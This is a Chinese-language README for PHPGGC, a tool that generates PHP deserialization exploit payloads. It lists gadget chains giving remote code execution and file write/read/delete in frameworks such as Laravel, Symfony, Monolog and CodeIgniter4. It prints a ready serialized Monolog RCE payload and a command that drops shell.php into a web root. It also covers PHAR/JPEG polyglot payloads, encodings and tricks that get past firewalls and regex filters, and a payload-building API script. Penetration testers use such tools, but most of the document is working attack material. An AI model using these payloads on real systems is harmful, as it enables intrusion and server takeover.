PHPGGC:PHP 通用小工具链
PHPGGC 是一个 unserialize() 有效载荷库,以及一个用于从命令行或以编程方式生成它们的工具。当您在没有代码的网站上遇到反序列化时,或者只是尝试构建漏洞时,此工具可让您生成有效载荷,而无需经过查找小工具和组合它们的繁琐步骤。它可以看作是frohoff 的 ysoserial的等价物,但是适用于 PHP。目前,该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework。
要求
运行 PHPGGC 需要 PHP >= 5.6。
用法
运行./phpggc -l
以获取小工具链列表:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
过滤小工具链:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
每个小工具链都有:
- 名称:框架/库的名称
- 版本:小工具所适用的框架/库的版本
- 类型:利用类型:RCE、文件写入、文件读取、包含…
- Vector:反序列化后触发链的向量(,,,
__destruct()
… )__toString()
offsetGet()
- 信息:有关该链的其他信息
用于-i
获取有关链的详细信息:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
对于 RCE 小工具,执行的命令可以有 3 种格式类型,具体取决于小工具的工作方式:
- RCE(命令):
./phpggc Symfony/RCE1 id
- RCE(PHP代码):
./phpggc Symfony/RCE2 'phpinfo();'
- RCE(函数调用):
./phpggc Symfony/RCE4 system id
选择链后,运行./phpggc <gadget-chain> [parameters]
以获取有效负载。例如,要获取 Monolog 的有效负载,您需要执行以下操作:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
对于使用 SwiftMailer 写入文件,你可以执行以下操作:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
包装器
--wrapper
( )选项-w
允许您定义一个包含以下函数的 PHP 文件:
process_parameters(array $parameters)
:之前 调用generate()
,允许更改参数process_object(object $object)
:之前 调用serialize()
,允许更改对象process_serialized(string $serialized)
:随后 调用serialize()
,允许更改序列化字符串
例如,如果存在漏洞的代码如下所示:
<?php $data = unserialize($_GET['data']); print $data['message'];
您可以使用__toString()
链条,像这样包裹它:
<?php # /tmp/my_wrapper.php function process_object($object) { return array( 'message' => $object ); }
你可以像这样调用 phpggc:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
PHAR(GGC)
历史
在 2018 年 BlackHat US 大会上,@s_n_t 发布了 PHARGGC,这是 PHPGGC 的一个分支,它不是构建序列化的有效载荷,而是构建整个 PHAR 文件。此 PHAR 文件包含序列化数据,因此可用于各种利用技术(file_exists
、fopen
等)。论文在此处。
执行
PHAR 档案有三种不同的格式:PHAR、TAR 和 ZIP。PHPGGC支持这三种格式。可以使用--phar-jpeg
( -pj
) 生成多语言文件。还有其他选项可用(使用-h
)。
示例
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
编码器
参数允许修改有效负载的输出方式。例如,-u
将对其进行 URL 编码,并将-b
其转换为 base64。 有效负载通常包含 NULL 字节,无法按原样复制/粘贴。-s
用于软 URL 编码,使有效负载保持可读性。
编码器可以链接起来,因此顺序很重要。例如,./phpggc -b -u -u slim/rce1 system id
将有效负载进行 base64 处理,然后对其进行两次 URL 编码。
高级:增强功能
快速销毁
PHPGGC 实现了一个--fast-destruct
( -f
) 标志,它将确保您的序列化对象在调用后立即被销毁unserialize()
,而不是在脚本结束时被销毁。我建议对每个__destruct
向量都使用它,因为它可以提高可靠性。例如,如果 PHP 脚本在调用后引发异常,__destruct
则可能不会调用对象的方法。由于它与编码器同时处理,因此需要先设置它。
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
ASCII 字符串
使用S
序列化格式而不是标准格式s
。这会将每个非 ASCII 字符替换为十六进制表示: s:5:"A<null_byte>B<cr><lf>";̀
->S:5:"A\00B\09\0D";
当出于某种原因不允许使用非 ASCII 字符(例如 NULL BYTE)时,这可能很有用。由于有效载荷通常包含它们,因此这可确保有效载荷仅由 ASCII 值组成。 注意:这是实验性的,在某些情况下可能不起作用。
铠甲弦
使用S
序列化格式而不是标准格式s
。这会将每个字符替换为十六进制表示: s:5:"A<null_byte>B<cr><lf>";̀
->S:5:"\41\00\42\09\0D";
当防火墙或 PHP 代码阻止字符串时,这会很方便。 注意:这是实验性的,在某些情况下可能不起作用。 注意:这会使有效负载中的每个字符串增加 3 倍。
加号
有时,PHP 脚本会使用诸如 之类的正则表达式来验证给定的序列化有效负载是否包含对象。使用而不是/O:[0-9]+:
可以轻松绕过此问题。可以使用或来自动在符号前面添加这些符号。例如,要混淆对象和字符串,可以使用: 。请注意,自 PHP 7.2 起,只有和(浮点)类型可以有。O:+123:...
O:123:
--plus-numbers <types>
-n <types>
+
--n Os
i
d
+
测试你的链条
要测试您想要使用的gadget链是否在目标环境中运行,请跳转到您环境的文件夹并使用该--test-payload
选项无参数运行该链。
例如,测试其是否Monolog/RCE2
适用于 Symfony 4.x
:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
0
如果有效载荷被触发,则返回退出代码,1
否则返回。
针对软件包的每个版本测试你的链条
如果您想知道小工具链针对软件包的哪些版本,您可以使用test-gc-compatibility.py
。
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
您可以使用以下语法指定要测试的版本。
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
API
除了使用 PHPGGC 作为命令行工具之外,您还可以编写 PHP 脚本:
<?php # Include PHPGGC include("phpggc/lib/PHPGGC.php"); # Include guzzle/rce1 $gc = new \GadgetChain\Guzzle\RCE1(); # Always process parameters unless you're doing something out of the ordinary $parameters = $gc->process_parameters([ 'function' => 'system', 'parameter' => 'id', ]); # Generate the payload $object = $gc->generate($parameters); # Most (if not all) GC's do not use process_object and process_serialized, so # for quick & dirty code you can omit those two $object = $gc->process_object($object); # Serialize the payload $serialized = serialize($object); $serialized = $gc->process_serialized($serialized); # Display it print($serialized . "\n"); # Create a PHAR file from this payload $phar = new \PHPGGC\Phar\Tar($serialized); file_put_contents('output.phar.tar', $phar->generate());
这可让您更轻松地调整参数或编写漏洞。 注意:目前这还处于实验阶段,因此请报告错误。